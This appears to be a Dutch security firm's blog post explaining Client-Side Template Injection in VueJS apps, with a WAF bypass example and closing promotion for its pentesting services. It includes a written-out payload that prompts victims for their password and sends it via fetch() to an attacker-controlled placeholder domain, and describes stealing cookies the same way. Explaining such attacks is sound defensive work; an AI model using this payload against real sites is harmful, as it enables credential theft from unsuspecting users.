Wat is Client-Side Template Injection (CSTI)?

Wat is CSTI

Tijdens onze werkzaamheden komen wij enorm veel kwetsbaarheden tegen. Bij Tozetta vinden we het enorm belangrijk om onze kennis en expertise ook te delen. In dit blog vertellen wij meer over een Client-Side Template Injection (CSTI). Met deze kennisblog hopen wij jullie verder te helpen in de wereld van hacking en cyber security. Wil jij continu op de hoogte blijven van de laatste security updates? Schrijf je dan in voor onze wekelijkse Vulnerability Update

Wat is Client-Side Template Injectie (CSTI)?

Client-Side Template Injectie (CSTI) is een kwetsbaarheid die optreedt wanneer een webapplicatie gebruikersinvoer in client-side templates ‘rendered’ zonder de nodige beveiligingsmaatregelen te treffen. Deze kwetsbaarheid kan worden misbruikt om kwaadaardige code in de webpagina van een gebruiker te injecteren, wat kan leiden tot verschillende schadelijke activiteiten zoals het stelen van sessiecookies en het uitvoeren van onbedoelde acties namens de gebruiker.

Hoe werkt CSTI?

Moderne webtoepassingen maken vaak gebruik van templates om dynamische inhoud op webpagina’s weer te geven. Frameworks zoals AngularJS, VueJS en Mavo en andere JavaScript-templates worden gebruikt om deze inhoud te genereren. Wanneer input direct in deze templates wordt verwerkt zonder de juiste validatie of sanitizing, kunnen malafide gebruikers deze kwetsbaarheid exploiteren door bepaalde code te injecteren die door de browser van de gebruiker worden uitgevoerd.

Als malafide gebruiker kun je in dit geval eerst XSS-payloads proberen. Zoals we in onderstaand voorbeeld zien, wordt de errorpagina getoond zodra het profiel wordt opgeslagen en een WAF een regel heeft ingesteld waarbij bepaalde karakters worden gebruikt.

script alert

Zodra en een XSS payload als deze wordt ingevoerd kun je onderstaande error te zien krijgen.

runtime error

In dit voorbeeld wordt op de webapp ook VueJS gebruikt. We zouden dus CSTI kunnen proberen. Zodra wij {{}} als input geven, zien we dat we geen errorpagina krijgen.

Zodra wij onze allereerste payload proberen krijgen we direct een pop-up. We hebben zojuist een POC payload gebruikt om CSTI te krijgen.

constructor alert

Wat is het risico van CSTI?

Heel leuk zo’n alert(1) popup, maar wat nu?

Het is mogelijk om bijvoorbeeld cookies te stelen door in Javascript document.cookie te plakken en dit naar een webserver te sturen die wij zelf controleren. Hiervoor zou httponly uit moeten staan. In dit geval stond het aan en konden we niet bij de session cookies. We zouden in dit geval een popup kunnen maken waarbij de gebruiker gevraagd wordt om zijn / haar wachtwoord in te voeren. Dat zouden we kunnen doen met een payload als onderstaande:

				
					{{constructor.constructor("fetch('https://<CONTROLLED_DOMAIN>/password', { method: 'POST', body: JSON.stringify({ password: prompt('Voer je wachtwoord in om door te gaan:') }) })")()}}
				
			
payload ww invullen

Zodra deze payload naar de server wordt gestuurd, zien we dat het ingevoerde wachtwoord op onze gecontroleerde server binnen komt. Dit wachtwoord zou later weer voor malafide doeleinden gebruikt kunnen worden door cybercriminelen.

CSTI server

Wil je een CSTI zelf proberen? Check het hier

Op de hoogte blijven van de laatste kwetsbaarheden?

Dagelijks worden er 50+ kwetsbaarheden toegevoegd aan de Common Vulnerabilities and Exposures database (CVE’s).  Het is bijna onmogelijk om zelfstandig up-to-date te blijven over al deze kwetsbaarheden. Toch proberen wij bij Tozetta structureel kwetsbaarheden in jullie software en systemen inzichtelijk te maken. Wij bieden kosteloos onze wekelijkste Vulnerability Update waar wij wekelijks dit soort artikelen delen. 

Maar wil je meer weten over het structureel inzichtelijk maken van kwetsbaarheden in software en systemen, lees dan meer over onze Hacking as a Service oplossing. Naast het regelmatig pentest bieden wij ook een security monitoring tool die dagelijks jullie webapplicaties en/of interne netwerk scant op deze talloze CVE’s. 

Of meer lezen over Hacking as a Service >>

Blijf in controle over technische kwetsbaarheden

Veel organisaties laten periodiek een pentest uitvoeren om inzicht te krijgen in hun technische beveiliging. In de praktijk merken we dat veel relaties daarnaast behoefte hebben aan continu inzicht in kwetsbaarheden, juist tussen deze testmomenten door. Met Tozetta Reports voorzien we in beide: het uitvoeren van periodieke pentests voor diepgaande analyse én dagelijkse technische vulnerability scans voor doorlopend overzicht, gecombineerd met directe samenwerking met onze ethical hackers. Deze aanpak kan aanvullend op bestaande pentests worden ingezet, maar is ook los af te nemen.

Ontdek wat Tozetta voor jouw organisatie kan betekenen. Neem contact op of lees meer over Tozetta Reports

Kom in contact met Tozetta

Tozetta is specialist in pentests uitvoeren